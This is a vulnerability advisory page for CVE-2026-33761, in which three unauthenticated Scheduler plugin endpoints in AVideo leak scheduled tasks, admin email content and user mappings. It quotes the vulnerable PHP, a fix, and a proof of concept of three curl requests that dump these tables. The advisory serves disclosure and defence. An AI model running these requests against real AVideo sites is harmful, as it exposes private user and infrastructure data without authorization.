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Open-source package vulnerability · Composer (PHP)

CVE-2026-33761: AVideo: Unauthenticated Access to Scheduler Plugin Endpoints Leaks Scheduled Tasks, Email Content, and User Mappings

mediumCVSS 3.1 5.3GHSA-j724-5c6c-68g5

Summary Three list.json.php endpoints in the Scheduler plugin lack any authentication check, while every other endpoint in the same plugin directories (add.json.php, delete.json.php, index.php) requires User::isAdmin().

Published Mar 26, 2026 · Updated Mar 27, 2026

Affected packages

wwbn/avideo

Ecosystem
Composer (PHP)
Affected
<= 26.0
Fixed in
No patched version yet
Check
composer show wwbn/avideo

Advisory details

From the GitHub Advisory Database (CC BY 4.0).

Summary

Three list.json.php endpoints in the Scheduler plugin lack any authentication check, while every other endpoint in the same plugin directories (add.json.php, delete.json.php, index.php) requires User::isAdmin(). An unauthenticated attacker can retrieve all scheduled tasks (including internal callback URLs and parameters), admin-composed email messages, and user-to-email targeting mappings by sending simple GET requests.

Details

The vulnerable files are:

1. `plugin/Scheduler/View/Scheduler_commands/list.json.php:1-7`

<?php
require_once '../../../../videos/configuration.php';
require_once $global['systemRootPath'] . 'plugin/Scheduler/Objects/Scheduler_commands.php';
header('Content-Type: application/json');

$rows = Scheduler_commands::getAll();
?>
{"data": <?php echo json_encode($rows); ?>}

2. `plugin/Scheduler/View/Emails_messages/list.json.php:1-10`

<?php
require_once '../../../../videos/configuration.php';
require_once $global['systemRootPath'] . 'plugin/Scheduler/Objects/Emails_messages.php';
header('Content-Type: application/json');

$rows = Emails_messages::getAll();
$total = Emails_messages::getTotal();
?>
{"data": <?php echo json_encode($rows); ?>, ...}

3. `plugin/Scheduler/View/Email_to_user/list.json.php:1-10`

<?php
require_once '../../../../videos/configuration.php';
require_once $global['systemRootPath'] . 'plugin/Scheduler/Objects/Email_to_user.php';
header('Content-Type: application/json');

$rows = Email_to_user::getAll();
$total = Email_to_user::getTotal();
?>
{"data": <?php echo json_encode($rows); ?>, ...}

None of these files check authentication before calling getAll(), which executes SELECT * FROM {table} and returns the entire table contents.

In contrast, every sibling endpoint requires admin access. For example, plugin/Scheduler/View/Scheduler_commands/add.json.php:12-15:

if(!User::isAdmin()){
    $obj->msg = "You cant do this";
    die(json_encode($obj));
}

The Scheduler_commands table (defined in plugin/Scheduler/Objects/Scheduler_commands.php) stores fields including callbackURL (internal server URLs with query parameters), parameters (JSON blobs containing user IDs and email configuration), status, timezone, and cron scheduling fields. The Emails_messages table stores subject and message (full HTML email bodies composed by admins). The Email_to_user table maps users_id to emails_messages_id, revealing which users are targeted by which email campaigns.

PoC

# 1. Retrieve all scheduled tasks — exposes internal callbackURLs and parameters
curl -s 'https://target/plugin/Scheduler/View/Scheduler_commands/list.json.php' | jq '.data[] | {id, callbackURL, parameters, status, type}'

# 2. Retrieve all admin-composed email messages — exposes subject and HTML body
curl -s 'https://target/plugin/Scheduler/View/Emails_messages/list.json.php' | jq '.data[] | {id, subject, message}'

# 3. Retrieve user-to-email targeting mappings — reveals which users receive which emails
curl -s 'https://target/plugin/Scheduler/View/Email_to_user/list.json.php' | jq '.data[] | {users_id, emails_messages_id, sent_at}'

All three return full database contents with no authentication required. No session cookie or token is needed.

Impact

An unauthenticated attacker can:

  • Enumerate internal infrastructure: callbackURL fields expose internal server URLs and query parameters used by the scheduler, potentially revealing internal API endpoints and their parameter structures
  • Read admin email campaigns: Full email subjects and HTML message bodies composed by administrators are exposed
  • Map user targeting: The Email_to_user table reveals which users_id values are targeted by which email campaigns, enabling user enumeration and profiling
  • Gather reconnaissance: Scheduling configuration (cron fields, execution status, timezone) reveals operational patterns and timing of automated tasks

The information disclosed could be used to facilitate further attacks (e.g., using discovered internal URLs for SSRF, or user IDs for targeted account attacks).

Recommended Fix

Add User::isAdmin() checks to all three list.json.php files, matching the pattern used by sibling endpoints. For each file, add the following after the require_once lines and before the data retrieval:

`plugin/Scheduler/View/Scheduler_commands/list.json.php`:

<?php
require_once '../../../../videos/configuration.php';
require_once $global['systemRootPath'] . 'plugin/Scheduler/Objects/Scheduler_commands.php';
header('Content-Type: application/json');

if(!User::isAdmin()){
    die(json_encode(['error' => true, 'msg' => 'Not authorized']));
}

$rows = Scheduler_commands::getAll();
?>
{"data": <?php echo json_encode($rows); ?>}

Apply the same pattern to Emails_messages/list.json.php and Email_to_user/list.json.php.

Credited to offset.

References

How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology

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